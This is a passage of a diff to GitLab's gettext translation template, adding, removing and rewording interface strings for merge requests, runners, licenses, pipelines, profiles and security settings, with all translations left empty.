+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21701,9 +22054,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21866,6 +22216,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21881,6 +22237,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21926,22 +22285,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22061,6 +22411,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22702,6 +23064,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22955,9 +23320,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23108,9 +23470,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23135,6 +23494,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
